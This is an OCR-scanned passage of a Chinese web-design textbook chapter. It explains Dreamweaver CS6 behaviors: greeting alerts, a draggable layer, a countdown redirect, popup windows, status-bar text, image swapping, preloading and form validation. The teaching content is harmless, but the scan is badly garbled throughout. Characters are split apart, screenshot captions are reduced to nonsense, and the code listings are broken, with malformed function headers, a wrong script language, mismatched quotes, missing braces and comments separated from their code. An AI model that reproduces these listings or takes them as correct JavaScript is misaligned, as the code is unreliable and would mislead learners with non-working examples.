else if (hour < 22) 


str = "晚上 好 ， 祝 你 玩 的 愉快 人" 


else if (hour < 24) 
str = " 夜 深 了 ， 要 休息 了 。"; 
alert(str); 


} 
</script> 


将 文件 保存 在 “E:\eg14\” 文 件 夹 下 ， 文 件 名 为 eg01.html。 


区 中 找到 <head> 标 签 。 在 <head> 标 签 下 面 新 建 脚本 标签 ， 输 入 以 下 的 JavaScript 


/在 这 里 声明 一 个 问候 的 函数 
// 取 得 当前 时 间 的 小 时 数 
// 针 对 不 同 的 时 间 进 行 问候 语 赋值 


// 弹 出 问候 对 话 框 


(4) 找到 网 页 的 <body> 标 签 ， 将 <body> 标 签 加 入 一 个 事件 。 更 改 的 <body> 标 签 如 下 : 


<body onLoad="hello();" > 


(5) 在 网 页 的 <head> 标 签 中 定义 一 个 hello0 行 为 函数 。 网 页 运行 时 会 产生 一 个 onLoad 事件 ， 这 
个 事件 会 调用 已 经 定义 的 行为 函数 , 在 网 页 特效 中 的 行为 都 是 以 这 种 函数 的 方式 调用 的 。 选 择 “ 文 件 ”| 


“保存 ”命令 ， 保 存 网 页 。 


(6) 按 Fl12 键 在 浏览 器 中 运行 网 页 ， 


网 页 的 运行 效果 如 图 14-1 所 示 。 


乱弹 出 对 活 杠 - Windows Internet Explorer 


[esl 


人 SB 


居 ENwork\write-mdf | 好 | x ||[S ang 


富 收 训 夫 


乔 计算 和 


入 旱 上 好 ! 祝 你 工作 答 快 。 


14-1 简单 的 网 页 事件 与 网 页 行为 
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(7) 在 这 个 网 页 事件 中 ， 网 页 的 弹出 对 话 框 事件 是 用 编写 JavaScript 实现 的 ， 在 网 页 特效 中 的 行 
为 都 是 以 这 种 函数 的 方式 调用 的 。 网 页 的 代码 如 下 : 


<html> 
<head> 


<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 


<title> 网 页 特效 </title> 
<script language="LiveScript"> 
void function hello() 
Var str; 
now = new Date(),hour = now.getHours() 
if(hour < 6) 
str = " 太 晚 了 ， 请 休息 。"; 
else if (hour < 12) 
str = "上 午 好 ， 工 作 恰 快 。"; 
else if (hour < 14) 
str = "中 午 好 。"; 
else if (hour < 18) 
str = "下 午 好 ， 祝 工作 顺利 。"; 
else if (hour < 22) 
str = “晚上 好 ， 祝 你 玩 的 愉快 !; 
else if (hour < 24) 
str = " 夜 深 了 ， 要 休息 了 。"; 
alert(str); 


} 

</script> 

</head> 

<body onLoad="hello();" > 
</body> 

</html> 


14.2 使 用 Drea 


Dreamweaver CS6 将 一 些 常用 的 行为 集成 在 了 


// 在 这 里 声明 一 个 问候 的 函数 
// 取 得 当前 时 间 的 小 时 数 
// 针 对 不 同 的 时 间 进 行 问候 语 赋值 


// 弹 出 问候 对 话 框 


<!- 网 页 事件 与 调用 函数 -> 


mweaver 内 置 行为 


[ 具 中 , 可 以 在 不 需要 编写 JavaScript 程序 的 情况 下 生 


成 各 种 网 页 特效 ， 这 些 网 页 特效 就 是 Dreamweaver 的 内 置 行为 。 


14.2.1 检查 插件 


使 用 “检查 浏览 器 ”行为 ， 可 以 检查 在 访问 网 页 中 ， 浏 览 器 中 是 否 安装 了 指定 插件 ， 通 过 这 种 检 
查 可 以 为 安装 插件 和 未 安装 插件 的 用 户 显示 不 同 的 页 面 。 使 用 检查 插件 行为 的 具体 操作 步骤 如 下 : 
(1) 单 击 “ 行 为 ”面板 上 的 “添加 行为 ”按钮 ， 在 弹出 的 菜单 中 选择 “检查 插件 ”命令 ， 打 开 “ 检 


查 插件 ”对 话 框 ， 如 图 14-2 所 示 。 


3 


机 从 与 网 站 建设 技术 让 


本 四 汪 
Pa [ 要 


如 果 有 , 转 到 URL 


否则 , 转 到 URL 


器 如果 无 法 检测 , 则 始终 转 到 第 一 个 URL 


图 14-2 “检查 插件 ”对 话 框 
有 关 “ 检 查 插件 ”对 话 框 中 主要 参数 选项 的 作用 如 下 。 
“插件 ” 用 于 选择 要 检查 的 插件 类 型 ， 也 可 以 选中 “输入 ” 单 选 按钮 并 在 右边 的 文本 框 中 输 
入 要 检查 的 插件 类 型 。 
“如 果 有 ， 转 到 URL” 文 本 框 : 为 具有 插件 的 访问 者 指定 一 个 URL。 
“否则 ， 转 到 URL” 文 本 框 : 为 不 具有 插件 的 访问 者 指定 另外 一 个 URL。 
(2) 单 击 “ 确 定 ” 按 钮 ， 完 成 设置 。 


14.2.2 ” 拖 动 层 


网 页 中 的 层 是 漂浮 在 网 页 上 的 另 一 层 内 容 ， 上 面 的 层 可 以 覆盖 下 面 一 层 的 内 容 。 利 用 JavaScript 
可 以 实现 层 的 拖 动 ， 但 层 拖 动 的 鼠标 事件 非常 复杂 ， 需 要 编写 大 量 的 代码 。Dreamweaver CS6 的 行为 
功能 可 以 方便 地 生成 网 页 的 层 拖 动 功能 。 

(1) 打开 Dreamweaver CS6， 选 择 “ 文 件 ”| “新 建 ” 命 令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 新 
建 一 个 HTML 网 页 。 

(2) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 在 “E:\eg14\” 文 件 夹 下 ， 文 件 名 为 eg03.html。 

(3) 选择 “插入 ”| ”布局 ”| AP Div 命令 ， 在 网 页 中 插入 一 个 层 ， 在 设计 视图 中 单 击 层 ， 在 
层 中 输入 一 行文 本 。 单 击 层 的 边框 选择 层 ， 在 层 的 “属性 ”面板 中 设置 层 的 背景 颜色 。 设 计 视 图 中 的 
层 如 图 14-3 所 示 。 


图 14-3 网 页 中 的 层 


(4) 选择 “窗口 ”|“ 行 为” 命令， 打开 “行为 ”面板 ， 在 其 中 单 击 “ 添 加 行为 ”按钮 国 ， 添 加 
一 个 行为 ， 在 弹出 的 行为 菜单 中 选择 “ 拖 动 AP 元 素 ”选项 ， 弹 出 “ 拖 动 AP 元 素 ”对 话 框 ， 如 图 14-4 
所 示 。 
注意 : 鼠标 要 在 AP Div 之 外 ， 才 能 选择 “ 拖 动 AP 元 素 ”选项 。 


图 14-4 网 页 中 设置 可 拖 动 层 

(5) 在 “AP 元 素 ” 下 拉 列 表 框 中 选择 所 添加 的 层 div“Layer1”， 然 后 单 击 “ 确 定 ” 按 钮 完成 
设置 。 

(6) 选择 “文件 ”| “保存 ”命令 保存 网 页 。 

(7) 按 F12 键 在 浏览 器 中 运行 网 页 。 在 网 页 中 ， 单 击 层 并 按 住 不 放 拖 动 后 ， 可 以 移动 这 个 层 的 位 
置 ， 如 图 14-5 和 图 14-6 所 示 。 
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图 14-5 网 页 中 层 的 原始 位 置 图 14-6” 拖 动 网 页 中 层 的 位 置 


14.2.3 ”创建 自动 跳 转 页 面 网 页 


自动 跳 转 网 页 指 的 是 网 页 显示 一 段 时 间 以 后 ， 可 以 自动 跳 转 到 其 他 网 页 上 ， 这 种 功能 可 以 用 于 网 
页 的 自动 显示 。 实 现 方式 是 在 网 页 中 有 一 个 计时 器 ， 可 以 对 网 页 进行 计时 ， 到 达 设 定 的 计时 以 后 网 页 
就 跳 转 到 这 个 设 定 的 网 页 。 通 过 以 下 步骤 可 以 建立 一 个 自动 转 跳 网 页 。 
(1) 打开 Dreamweaver CS6， 选 择 “文件 ”| “新 建 ”命令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 新 
建 一 个 HTML 网 页 。 
(2) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 在 “E:\eg14\” 文 件 夹 下 ， 文 件 名 为 eg04.html。 
(3) 在 Dreamweaver CS6 的 设计 视图 中 ， 找 到 <body> 标 签 。 在 <body> 标 签 下 输入 以 下 代码 : 
<input name="txt" type="text" id="txt" size="30"> <!- 建 立 一 个 文本 框 用 于 提示 --> 
<script language="javascript"> 
/用 JavaScript 脚本 实现 计时 和 网 页 转 跳 功能 
function clock(X{ 
i=i-1; 
document.title=" 本 窗口 将 在 "+i+" 秒 后 自动 转 跳 人 "; 
txt.value=" 本 窗口 将 在 "+i+" 秒 后 自动 转 跳 人 "; /用 循环 和 i 计数 实现 时 间 的 计算 


var i=10; 
clock(); 
</script> 
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if(i>0) 
setTimeout("clock():",1000); 
else 
location.href("step2.htm"); 


(4) 选择 “文件 ”| “保存 ”命令 ， 保 存 网 页 。 


// 实 现 1 秒 的 计时 
// 网 页 的 转 跳 


(5) 按 F12 键 在 浏览 器 中 运行 网 页 ， 网 页 中 的 文本 框 会 显示 计时 情况 ， 到 达 设 定 的 时 间 以 后 ， 网 


页 会 自动 转 跳 到 设 定 的 转 跳 网 页 ， 如 图 14-7 和 图 14-8 所 示 。 


14-7 网 页 的 计时 与 定时 转 跳 


竹村 的 网页 - Windows Internet Explorer | 己 [ 回 | 加 
GO [8) EAworkwrite-mdt ~ [1+ | x ||S ang 
宽 收 天 ”88 -乱弹 出.， 芽 转 . x 丛 - 
自动 转 跳 网 页 示例 ， 这 个 网 页 是 转 跳 以 后 的 网 页 
本 窗口 将 在 0 秒 后 自动 转 跳 1 
部 计算 机 | 保护 模式 : 禁用 得 ” 县 100%6 ~ 


图 14-8 自动 转 跳 以 后 的 网 页 


(6) 在 网 页 的 代码 视图 中 查看 网 页 的 代码 ， 网 页 的 自动 转 跳 功 能 是 使 用 JavaScript 编程 实现 的 。 


网 页 的 代码 如 下 : 


<html> 
<head> 
<meta http-equiv="Content-Type" content= "text/html; charset=gb2312"> 
<title> 自 动 转 跳 功能 </title> 
<style type="text/css"> 
<I-- 

body,td,th { 


1 


font-size: 16px' 


一 > 
</style> 
</head> 


<body> 
<p> 自 动 转 跳 网 页 示例 :</p> 


<p> 


<input name="txt" type="text" id="txt" size="30"> 


<script language="javascript"> 
function clock(X{ 


i=i-1 
document:title=" 本 窗口 将 在 "+i+" 秒 后 自动 转 跳 ": 
txt.value=" 本 窗口 将 在 "+i+" 秒 后 自动 转 跳 ""; 
if(i>0) 

setTimeout("clock();",1000); 


[CC 


<!- 建 立 一 个 文本 框 用 于 提示 -> 


// 自 定义 函数 

// 用 循环 和 ji 计数 实现 时 间 的 计算 
/网 页 标题 的 提示 
/文本 框 的 提示 


/实现 1 秒 的 计时 
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else 
location.href("step2.htm"); 儿 /网 页 的 转 跳 


} 

var i=10; /设置 计时 时 间 

clock(); // 调 用 函数 
</script> 

</p> 

</lbody> 

</html> 


14.2.4 ”打开 浏览 器 窗口 


在 打开 网 页 时 ， 可 以 自动 打开 一 个 小 浏览 器 窗口 ， 一 般 用 作 广 告 、 公 告 、 最 新 信息 的 显示 ， 这 些 
可 以 用 Dreamweaver CS6 生成 弹出 窗口 来 实现 。 

(1) 打开 Dreamweaver CS6， 选 择 “ 文 件 ” |“ 新建” 命令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 新 
建 一 个 HTML 网 页 。 

(2) 选择 “文件 ”| “保存 ”命令 ,将 文件 保存 在 “E:\eg14\” 文 件 夹 下 ， 文 件 名 为 eg05.html。 

(3) 选择 “窗口 ”| “行为 ”命令 ， 打 开 “ 行 为 ”面板 ， 在 其 中 单 击 “ 添 加 行为 ”按钮 到 ， 添 加 
一 个 行为 ， 在 弹出 的 菜单 中 选择 “打开 浏览 器 窗口 ” 选项 ， 弹 出 “打开 浏览 器 窗口 ”对话 框 ， 如 网 14-9 
所 示 。 


要 显示 的 URL new.hta 
国 口 雄 度 200 国 口 高 朗 200 


故人 性 - [| 号 航 工具 栏 符 单 条 
」 地 址 工具 栏 轨 要 对 使 用 妾 动 条 
团 状 帮 伴 调整 大 小 手 策 
锥 口 名 称 : nevvindoq 


图 14-9 “打开 浏览 器 窗口 ”对 话 框 
(4) 在 “打开 浏览 器 窗口 ”对 话 框 中 需要 设置 一 些 参数 。 在 “要 显示 的 URL” 文 本 框 中 输入 要 弹 
出 的 网 页 文件 名 “new.htm”， 在 “窗口 宽度 ”文本 框 中 输入 “200”， 在 “窗口 高 度 ” 文 本 框 中 输入 
“200”， 在 “窗口 名 称 ” 文 本 框 中 输入 窗口 的 名 称 “newwindow”。“ 打 开 浏 览 器 窗口 ”对 话 框 中 的 
一 些 设 置 的 含义 如 下 。 
窗口 宽度 : 设置 弹出 窗口 的 宽度 。 
窗口 高 度 : 设置 弹出 窗口 的 高 度 。 
地 址 工具 栏 : 设置 弹出 窗口 是 否 有 地 址 栏 。 
菜单 条 : 设置 弹出 窗口 是 否 有 菜单 栏 。 
导航 工具 栏 : 设置 弹出 窗口 是 否 有 工具 栏 。 
需要 时 使 用 滚动 条 : 设置 弹出 窗口 是 否 在 需要 时 自动 产生 滚动 条 。 
状态 栏 : 设置 弹出 窗口 是 否 有 状态 栏 。 
调整 大 小 手柄 : 设置 弹出 窗口 是 否 可 以 更 改 大 小 。 


回回 回回 回回 加 加 


回 窗口 名 称 : 设置 弹出 窗口 的 名 称 。 在 JavaScript 的 编辑 中 ， 需 要 使 用 窗口 的 名 称 。 

(5) 在 “打开 浏览 器 窗口 ”对 话 框 中 单 击 “确定 ”按钮 ， 完 成 设置 。 

(6) 选择 “文件 ”| “保存 ”命令 ， 保 存 网 页 。 

(7) 按 F12 键 在 浏览 器 中 运行 网 页 。 网 页 在 打开 时 ,自动 弹出 一 个 窗口 显示 一 个 网 页 ，, 如 图 14-10 
所 示 。 在 弹出 的 窗口 中 ， 会 按照 网 页 中 的 设置 ， 不 显示 菜单 和 工具 条 等 内 容 。 


次 弹出 窗口 - Windows Internet Explorer lele| 2 | 
©O le eworawiemat -| [x [5 eng Pr 


这 个 窗口 是 弹出 的 窗口 


到 | 惠 计算 机 | 保 六 | 全 - 不 100% ~ 


14-10 ”网 页 中 弹出 的 窗口 


(8) 在 网 页 的 代码 视图 中 查看 网 页 的 代码 。 网 页 的 弹出 窗口 功能 是 使 用 JavaScript 的 window. 
open0) 函 数 实现 的 。 网 页 的 代码 如 下 : 


<html xmlns="http:/www.w3.org/1999/xhtml"> 

<head> 

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<title> 弹 出 窗口 </title> 

<script type="text/javascript"> 

二 = 

function MM_openBrWindow(theURL,winName,features) { /| 重 定义 弹出 窗口 的 函数 
window.open(theURL,winName,features); /window.open() 函 数 弹出 网 页 窗口 


外 -> 
</script> 
</head> 
<body onload="MM_openBrWindow('new.html','newwindow','status=yes,width=200,height=200")"> 
<!- 网 页 打开 时 调用 打开 窗口 函数 -> 
原来 的 窗口 
</body> 
</html> 


14.2.5 ”弹出 信息 


网 页 在 同 用户 交 互 时 ， 会 弹出 一 些 信息 对 话 框 ， 这 样 可 以 丰富 网 页 的 用 户 交 互 功能 。 例 如 ， 可 以 
在 网 页 打开 时 ， 显 示 一 个 弹出 信息 的 问候 。 

(1) 打开 Dreamweaver CS6， 选 择 “文件 ”| “新 建 ” 命 令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 新 
建 一 个 HTML 网 页 。 
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(2) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 在 “FE:\eg14\” 文 件 夹 下 ， 文 件 名 为 eg06.html。 

(3) 选择 “窗口 ”| “行为 ”命令 ,打开 “行为 ”面板 ， 在 其 中 单 击 “ 添 加 行为 ”按钮 加 ， 添 加 
一 个 行为 ， 在 弹出 的 菜单 中 选择 “弹出 信息 ”选项 ， 弹 出 “弹出 信息 ”对 话 框 ， 如 图 14-11 所 示 。 

(4) 在 “消息 ”文本 框 中 输入 需要 弹出 的 信息 。 单 击 “ 确 定 ” 按 钮 ， 完 成 弹出 信息 的 设置 。 

(5) 选择 “文件 ”| “保存 ”命令 ， 保 存 网 页 。 

(6) 按 F12 键 在 浏览 器 中 运行 网 页 。 网 页 在 打开 时 ， 会 弹出 一 个 信息 ， 如 图 14-12 所 示 。 在 信息 
窗口 中 单 击 “ 确 定 ”按钮 ， 可 以 关闭 信息 。 


乱弹 信息 - Windows Internet Explorer Ee] 
© fe eworwiemar -| x5 ang P -> 
实 收 基 六 。 乱弹 信息 CL DYS 


潮 计算 机 | 保护 模式 : 禁用 ”| R100% > | 


图 14-11 弹出 信息 的 设置 图 14-12 在 网 页 中 弹出 信息 


(7) 在 网 页 的 代码 视图 中 查看 网 页 的 代码 。 网 页 的 弹出 信息 功能 是 调用 JavaScript 的 alert0 函 数 
实现 的 。 网 页 的 代码 如 下 : 


<html xmIns="http://www.w3.org/1999/xhtmI"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 弹 出 信息 </title> 
<script type="text/javascript"> 
<I-- 
function MM_popupMsg(msg) { /| 重 定义 弹出 信息 函数 
alert(msg); // 弹 出 信息 
} 
I--> 
</script> 
</head> 
<body onload="MM_popupMsg(' 欢 迎 您 访问 我 的 网 站 。 祝 您 工作 愉快 。'")"> 
<!- 网 页 打开 时 调用 弹出 信息 函数 --> 
弹出 信息 
</body> 
</html> 


14.2.6 ”设置 状态 栏 文本 


在 进行 网 页 编辑 时 ， 用 HTML 代码 并 不 能 实现 对 网 页 状态 栏 的 编辑 。 实 际 上 ， 浏 览 器 的 状态 栏 是 
可 以 更 改 的 ，JavaScript 编程 的 方法 可 以 改变 浏览 器 的 状态 栏 。Dreamweaver CS6 也 提供 了 方便 的 设置 


图 


aas mw ag 


状态 栏 的 行为 。 


建 一 


(1) 打开 Dreamweaver CS6， 选 择 “ 文 件 ”| “新建” 命令， 在 弹出 的 “新 建文 档 ” 对 话 框 中 新 
个 HTML 网 页 。 

(2) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 在 “E:\eg14\” 文 件 夹 下 ， 文 件 名 为 eg07.html。 
(3) 选择 “窗口 ”| “行为 ”命令 ， 打 开 “ 行 为 ” 面板， 在 其 中 单 击 “ 添 加 行为 ”按钮 国 以 添加 


一 个 行为 ， 在 弹出 的 菜单 中 选择 “设置 文本 ”| “设置 状态 栏 文本 ”命令 ， 弹 出 的 “设置 状态 栏 文本 ” 
对 话 框 如 图 14-13 所 示 。 


消息 : 欢迎 访问 我 的 网 站 。 祝 您 工作 情 快 * 
注 章 : 并 莫 所 有 浏览 器 都 支持 更 改 状态 立 文 本 ， 某 些 浏览 


器 全 根据 用 户 首选 参数 来 欧 定 是 否 尤 许 此 功能 。 


图 14-13 “设置 状态 栏 文本 ”对 话 框 
(4) 在 “消息 ”文本 框 中 输入 需要 显示 的 导航 栏 文 本 ， 然 后 单 击 “ 确 定 ” 按 钮 完成 设置 。 
(5) 选择 “文件 ”| “保存 ”命令 ， 保 存 网 页 。 
(6) 按 F12 键 在 浏览 器 中 运行 网 页 。 网 页 在 打开 时 可 以 看 到 浏览 器 的 状态 栏 已 经 改变 成 所 设置 的 


文本 ， 如 图 14-14 所 示 。 


设置 状态 栏 的 文本 浏览 器 的 状态 栏 已 经 改变 


商 欢 带 态 辣 我 的 网 站 祝 好 工作 傅 块 。 | | | | ”| ”| 可 我 的 电脑 4 
图 14-14 ”改变 状态 栏 文本 
(7) 在 网 页 的 代码 视图 中 查看 网 页 的 代码 。 网 页 的 改变 浏览 器 状态 栏 文本 功能 是 JavaScript 函数 


实现 的 。 网 页 的 代码 如 下 : 
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<html xmIns="http://www.w3.org/1999/xhtml"> 


<head> 

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<title> 设 置 状 态 栏 的 文本 </title> 

<script type="text/javascript"> 

<I-- 

function MM_displayStatusMsg(msgStr) { // 重 新 定义 设置 状态 栏 文本 函数 
window.status=msgStr; // 设 置 状态 栏 的 文本 
document.MM_returnValue = true; // 返 回 值 

} 

I--> 

</script> 

</head> 

<body onmouseover="MM _displayStatusMsg(' 欢 迎 访问 我 的 网 站 。 祝 您 工作 愉快 。')return document.MM_ 

returnValue"> <!- 网 页 中 鼠标 移动 时 改变 状态 栏 文本 -> 

设置 状态 栏 的 文本 ”浏览 器 的 状态 栏 已 经 改变 

</body> 

</html> 


先 14 章 网 和 效 


14.2.7 ”交换 图 像 


交换 图 像 就 是 当 鼠 标 指 针 经 过 图 像 时 ， 原 来 的 图 像 会 变 成 另外 一 幅 图 像 。 一 个 交换 图 像 其 实 是 由 
两 幅 图 像 组 成 的 ， 原始 图 像 〈 当 前 页 面 显示 的 图 像 )》 和 交换 图 像 〈 当 鼠标 指针 经 过 时 显示 的 图 像 ) 。 
组 成 图 像 交换 的 两 幅 图 像 必 须 有 相同 的 尺寸 ， 如 果 两 幅 图 像 的 尺寸 不 同 ，Dreamweaver 会 自动 将 第 二 
幅 图 像 的 尺寸 调整 成 第 一 幅 的 大 小 。 利 用 该 动作 ， 不 仅 可 以 创建 普通 的 翻转 图 像 ， 还 可 以 创建 图 像 按 
钮 的 翻转 效果 ， 甚 至 可 以 设置 在 同一 时 刻 改变 页 面 上 的 多 幅 图 像 。 

(1) 打开 Dreamweaver CS6， 选 择 “ 文 件 ”| “新建” 命令， 在 弹出 的 “新 建文 档 ” 对 话 框 中 新 
建 一 个 HTML 网 页 。 

(2) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 在 “E:\eg14\” 文 件 夹 下 ， 文 件 名 为 eg08.html。 

(3) 选择 “插入 ”| “图 像 ”命令 ， 弹 出 “选择 图 像 源 文件 ” 对 话 框 ， 选 择 要 插入 的 图 像 ， 插 入 
后 的 页 面 如 图 14-15 所 示 。 

(4) 选择 要 交换 图 像 的 原 图 像 ， 选 择 “ 窗 口 ”|“ 行 为” 命令, 打开 “行为 ” 面板 , 在 其 中 单 击 “ 添 
加 行为 ”按钮 ， 在 弹出 的 菜单 中 选择 “交换 图 像 ” 选 项 ， 弹 出 的 对 话 框 如 图 14-16 所 示 。 


设 定 原始 档 为 : file:///D|/myveb/a2_. gif 
团 预先 载 入 图像 
园 自 标 测 开 时 饭 复 图 多 


必需 计算 机 16 五 - 不 100% ~ 


图 14-15 插入 图 片 图 14-16 “交换 图 像 ” 对 话 框 


(5) 单 击 “ 浏 览 ”按钮 ， 弹 出 “选择 图 像 源 文件 ”对 话 框 ， 选 择 图 像 ， 单 击 “ 确 定 ”按钮 ， 输 入 
新 图 像 的 路 径 和 文件 名 。 单 击 “ 确 定 ” 按 钮 ， 添 加 行为 。 

(6) 保 存 文档 , 在 浏览 器 中 浏览 , 交换 图 像 前 的 效果 如 图 14-15 所 示 , 交换 图 像 后 的 效果 如 图 14-17 
所 示 。 


EEC 
es 一 一 


支 % 硬 关 | 大 Ss 


[ee | 


14-17 交换 图 像 后 的 效果 
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14.2.8 ”预先 载 入 图 像 


在 导航 条 中 的 图 片 交 换 、 鼠 标 经 过 图 像 等 网 页 交互 时 ， 有 些 图 片 需要 预先 载 入 。 浏 览 器 在 打开 网 
页 时 ， 虽 然 这 些 图 片 并 不 会 马上 显示 ， 但 会 根据 用 户 的 交互 随时 显示 这 些 图 片 。 预 先 载 入 图 片 可 以 缩 
短 用 户 等 待 下 载 的 时 间 。 

(1) 打开 Dreamweaver CS6， 选 择 “ 文 件 ”| “新 建 ”命令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 新 
建 一 个 HTML 网 页 。 

(2) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 在 “FE:\eg14\” 文 件 夹 下 ， 文 件 名 为 eg09.html。 

(3) 选择 “窗口 ”| “行为 ”命令 ， 打开“ 行为” 面板， 在 其 中 单 击 “ 添 加 行为 ”按钮 加 ,添加 
一 个 行为 ， 在 弹出 的 菜单 中 选择 “预先 载 入 图 像 ”选项 ， 弹 出 “预先 载 入 图 像 ” 对 话 框 ， 如 图 14-18 
所 示 。 


回避 


RAN me 


图 像 源 文件 32. gif 


图 14-18 “预先 载 和 图像” 对话 框 


(4) 单 击 “ 添 加 项 ”按钮 图， 在 “预先 载 入 图 像 ”列表 中 添加 需要 载 入 的 图 片 ， 然 后 在 列表 中 选 
择 需 要 预先 载 入 的 图 像 ， 单 击 “ 图 像 源 文件 ”文本 框 后 面 的 “浏览 ”按钮 ， 浏 览 需 要 预先 载 入 的 图 像 。 
用 同样 的 方法 ， 添 加 多 张 预先 载 入 的 图 像 。 

(5) 单 击 “ 确 定 ”按钮 ， 完 成 预先 载 入 图 像 的 设置 。 

(6) 选择 “文件 ”| “保存 ”命令 ， 保 存 网 页 。 

(7) 按 F12 键 在 浏览 器 中 运行 网 页 。 在 运行 网 页 时 ， 浏 览 器 只 是 预先 载 入 了 所 设置 的 图 像 ， 但 是 
在 浏览 器 上 并 没有 显示 ， 其 他 的 JavaScript 可 以 调用 这 些 载 入 的 图 像 。 

(8) 在 网 页 的 代码 视图 中 查看 网 页 的 代码 ， 浏 览 器 预先 载 入 的 图 像 是 JavaScript 实现 的 。 打 开 网 
页 中 的 代码 时 ，<body> 的 onload 事件 调用 预先 载 入 图 像 函数 。 代 码 如 下 : 


<body onload="MM_preloadimages('a1.gif ,'a2.gif)"> 
14.2.9 检查 表单 


在 网 页 中 提交 表单 时 ， 应 该 对 所 提交 的 数据 进行 验证 ， 这 样 可 以 提高 数据 交互 的 准确 性 ， 有 利于 
用 户 与 服务 器 进行 数据 交互 。 

数据 验证 有 服务 器 验证 和 客户 端 验 证 两 种 方式 。 服 务 器 验证 是 服务 器 程序 对 用 户 提 交 的 值 进行 各 
种 判断 ， 对 不 同 的 数据 与 浏览 器 进行 不 同 的 数据 交互 或 进行 不 同 的 数据 处 理 。 但 这 种 验证 是 用 户 与 服 
务 器 进行 数据 交互 的 过 程 ， 会 占用 较 大 的 服务 器 资源 ， 如 果 网 络 速度 不 理想 ， 这 种 数据 验证 的 过 程 速 
度 也 不 高 。 


更 好 的 方法 是 用 JavaScript 编程 的 方法 对 表单 进行 浏览 器 数据 验证 , 这 需要 进行 各 种 数据 验证 的 编 
程 和 响应 过 程 。Dreamweaver CS6 提供 了 功能 强大 的 浏览 器 数据 验证 的 生成 方式 ， 用 户 并 不 需要 进行 
编程 就 可 以 很 好 地 完成 浏览 器 数据 的 验证 工作 。 

(1) 打开 Dreamweaver CS6， 选 择 “ 文 件 ”| “新 建 ”命令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 新 
建 一 个 HTML 网 页 。 

(2) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 在 “E:\eg14\” 文 件 夹 下 ， 文 件 名 为 eg10.html。 

(3) 在 Dreamweaver CS6 中 ,选择 “插入 ”| “表单 ”| “表单 ”命令 ， 在 网 页 中 插入 一 个 表单 。 
插入 的 表单 如 图 14-19 所 示 。 


图 14-19 在 网 页 中 插入 表单 
(4) 选择 “插入 ”| “表格 ”命令 ， 在 表单 中 插入 一 个 6 行 2 列 的 表格 ， 用 以 控制 表单 对 象 和 文 
本 的 布局 ， 如 图 14-20 所 示 。 
(5) 如 图 14-21 所 示 ， 选 择 第 一 行 的 两 个 单元 格 ， 然 后 单 击 “ 属 性 ”面板 上 的 “合并 所 选单 元 格 ” 
按钮 ， 合 并 第 一 行 的 两 个 单元 格 。 用 相同 的 方法 ， 合 并 最 后 一 行 的 两 个 单元 格 。 
(6) 在 表格 的 第 2 一 5 行 的 左边 一 列 输入 提示 文本 ， 如 图 14-21 所 示 。 


图 14-20 在 网 页 中 插入 一 个 6 行 2 列 的 表格 14-21 表单 中 的 提示 文本 


(7) 在 表格 的 “用 户 名 ”后 面 的 单元 格 中 单 击 ， 选 择 “ 插 入 ”| “表单 ”| “文本 域 ”命令 , 在 
单元 格 中 插入 一 个 文本 框 。 然 后 选择 这 个 文本 框 ， 在 “属性 ”面板 的 “文本 域 ” 文 本 框 中 输入 文本 域 
的 名 称 “username”。 用 同样 的 方法 ， 在 单元 格 中 插入 “口令 ”“ 邮 件 ”“ 年 龄 ”3 个 文本 框 ， 名 称 分 
别 设置 为 password、email、age， 如 图 14-22 所 示 。 

(8) 查看 表单 的 代码 。 在 表单 的 代码 中 有 4 个 文本 域 ， 文 本 域 的 id 属性 可 以 作为 JavaScript 的 标 
识 。 表 单 的 代码 如 下 : 


<form id="form1" name="form1" method="post" action=""> <!-- 表 单 --> 
<table width="381" border="1" align="center"> 
<tr> 
<td colspan="2" align="center"> 注 册 表 单 </td> 
</tr> 
<tr> 
<td width="101"> 用 户 名 </td> 
<td width="264"><label> 
<input type="text" name="username" id="username" /> <!L- 文 本 域 username--> 
</label></td> 
</tr> 
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<tr> 
<td> 口 令 </td> 
<td><input type="text" name="password" id="password" /></td> ”<!-- 文 本 域 password--> 
</tr> 
<tr> 
<td> 邮 件 </td> 
<td><input type="text" name="email id="email" /></td> <!- 文 本 域 email--> 
</tr> 
<tr> 
<td> 年 龄 </td> 
<td><input type="text" name="age" id="age" /></td> <!- 文 本 域 age--> 
</tr> 
<tr> 
<td colspan="2" align="center ><label> 
<input type="submit" name="button" id="button" value=" 提 交 " /> 
</label></td> 
</tr> 
</table> 
</form> 


(9) 单 击 “ 提 交 ” 按 钮 时 需要 有 表单 验证 过 程 。 选 择 “ 窗 口 ”| “行为 ”命令 ,打开 “行为 ” 面 
板 ， 在 其 中 单 击 “ 添 加 行为 ”按钮 型 ， 添 加 一 个 行为 ， 在 弹出 的 菜单 中 选择 “检查 表单 ”选项 ， 弹 出 
“检查 表单 ”对 话 框 ， 如 图 14-23 所 示 。 


可 接受 加 任何 东西 


电子 邮件 地 址 


图 14-22 表单 中 文本 框 的 布局 图 14-23 “检查 表单 ”对 话 框 


(10) 选择 “ 域 ”列表 中 的 表单 对 象 ， 然 后 设置 其 检查 的 方式 。 选 中 “ 值 ” 复 选 框 ， 表 示 用 户 必 
须 需要 这 一 项 。 下 面 是 “检查 表单 ”对 话 框 中 各 项 设置 的 含义 。 
回 值 : 用 来 设置 这 个 字段 是 不 是 必须 要 填写 。 
回 “可 接受 : 一 组 单 选 按钮 ， 如 果 选 择 这 一 个 字段 必须 填写 ， 则 可 以 在 这 些 单 选 按钮 中 设置 这 个 
字段 值 的 判断 。 
> ”任何 东西 :表示 字段 可 以 是 不 为 空 的 任意 内 容 。 
> 数字 : 表示 字段 必须 是 一 个 数字 。 
> ”电子 邮件 地 址 ， 表示 字段 必须 是 E-mail 地 址 。 
